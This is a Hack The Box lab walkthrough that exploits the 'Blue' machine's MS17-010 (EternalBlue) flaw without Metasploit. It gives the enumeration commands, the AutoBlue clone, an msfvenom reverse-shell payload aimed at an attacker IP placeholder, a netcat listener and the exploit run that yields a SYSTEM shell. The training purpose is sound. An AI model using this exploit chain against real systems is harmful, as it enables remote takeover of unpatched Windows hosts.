# Hack The Box - Blue Walkthrough without Metasploit

![Blue](https://3508673774-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MKuPhDjj3CjPI4MC20J%2F-MPJkT0RuGAaHbaM6drS%2F-MPKRepo9OwTxKOqeqgn%2Fimage.png?alt=media\&token=b2a3f17e-f362-4556-ad64-3089e8f64a08)

## Enumeration

To enumerate the box we will use the following nmap command:

```
nmap -sC -sV -A 10.10.10.40
```

![Blue Enumeration](https://3508673774-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MKuPhDjj3CjPI4MC20J%2F-MPJkT0RuGAaHbaM6drS%2F-MPKW4sYvaLzqsfcVOMH%2Fimage.png?alt=media\&token=32064cf6-c941-4b65-ad44-b345124f6cd9)

As we can see we have the port 445 (SMB) open, it even disclose some important information **Windows 7 professional 7601 Service Pack 1**, lets run a new enumeration, this time with vulnerability scripts:

We will be using two flags:

\--script: This flag will be used to apply "vuln" (vulnerability) scripts on the given ports of the box.

-p: will scan only the ports listed, in our case 445 since its the only one we are currently interested on.

```
nmap --script vuln -p445 10.10.10.40
```

![EternalBlue Vulnerability](https://3508673774-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MKuPhDjj3CjPI4MC20J%2F-MPJkT0RuGAaHbaM6drS%2F-MPKZCmI9G1qPUvdDcUf%2Fimage.png?alt=media\&token=9a1167f6-9d15-4d2c-8e66-faf900029f35)

Something really interesting catch our eye, **CVE-2017-0143 (MS17-010)**, with a quick google search...

### Finding the Vulnerability

{% embed url="https://www.cvedetails.com/cve/CVE-2017-0143/" %}

Eternal Blue exploit, with lots of Metasploit modules.. but we will not fall into the temptation of using MSF (which is a really usefull tool but not our goal here).

### Non Metasploit exploit

If we search "_a bit more_" we will find this excellent github repository:

{% embed url="https://github.com/3ndG4me/AutoBlue-MS17-010" %}

Let's clone this repository:

```
git clone https://github.com/3ndG4me/AutoBlue-MS17-010
```

There are several scripts in the folder, the first one we will use is eternal\_checker.py to confirm it is vulnerable:

```
python eternal_checker.py 10.10.10.40 -port 445
```

![Eternal Checker](https://3508673774-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MKuPhDjj3CjPI4MC20J%2F-MPJkT0RuGAaHbaM6drS%2F-MPKcuE9nK4pLa-pR-am%2Fimage.png?alt=media\&token=3a158772-c7d5-4867-98b4-4b63f9ae4ef8)

## Exploitation

### Generate a Payload

Now we navigate to shellcode folder in order to generate our payload, this will be done in two steps:

```
nasm -f bin eternalblue_kshellcode_x64.asm -o evilKernel.bin
```

![Generating Kernel.bin](https://3508673774-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MKuPhDjj3CjPI4MC20J%2F-MPJkT0RuGAaHbaM6drS%2F-MPKenawfkpB6XZE6zuE%2Fimage.png?alt=media\&token=306f58b9-1931-45e7-abde-99930622380b)

And now our msfvenom payload:

```
msfvenom -p windows/x64/shell_reverse_tcp EXITFUNC=thread LHOST=<Attacker-IP> LPORT=<Attacker-Port> -f raw -o evilReverse.bin
```

![msfvenom payload](https://3508673774-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MKuPhDjj3CjPI4MC20J%2F-MPJkT0RuGAaHbaM6drS%2F-MPKfRZxy8_CaNkmNBBe%2Fimage.png?alt=media\&token=a66cb523-8fce-46cf-a936-154515f22f54)

Now we have to mix them together:

```
cat evilKernel.bin evilReverse.bin > evilPayload.bin
```

![Mixing both parts](https://3508673774-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MKuPhDjj3CjPI4MC20J%2F-MPJkT0RuGAaHbaM6drS%2F-MPKfouwrTGr6RGTCYV1%2Fimage.png?alt=media\&token=8903667b-6ee0-42ec-ade7-4b672e7aef77)

### Executing the Exploit

First of all we need a netcat listener:

```
nc -nvlp 443
```

Now we need to decide which python script to use, with our previous enumeration we have discovered that the target OS is Windows 7

![Eternalblue\_exploit7.py](https://3508673774-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MKuPhDjj3CjPI4MC20J%2F-MPJkT0RuGAaHbaM6drS%2F-MPKihKE-4tyCNdJ_gl0%2Fimage.png?alt=media\&token=fd5a2911-28c0-4fe1-aa5b-91a815470af4)

Now in order to use the exploit we need some parameters, the **victim ip**, the **mixed payload**, and the **numGroomConn:**

![Failing attempt](https://3508673774-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MKuPhDjj3CjPI4MC20J%2F-MPJkT0RuGAaHbaM6drS%2F-MPKkTBY3DP9v804bI8Z%2Fimage.png?alt=media\&token=5570b70a-0267-494e-b6d9-60e8f48e52b8)

This attempt failed, now we have to change the number of groom connection until we find a valid one, we can go increasing the value until that.

## Pwnd

After some tries increasing the number of groom connections we were able to get a shell as NT Authority

![After some tries](https://3508673774-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MKuPhDjj3CjPI4MC20J%2F-MPJkT0RuGAaHbaM6drS%2F-MPKkxpytR-8F5ss9ZXN%2Fimage.png?alt=media\&token=7f221631-2ba9-42d4-a8e6-9e5336aa1225)







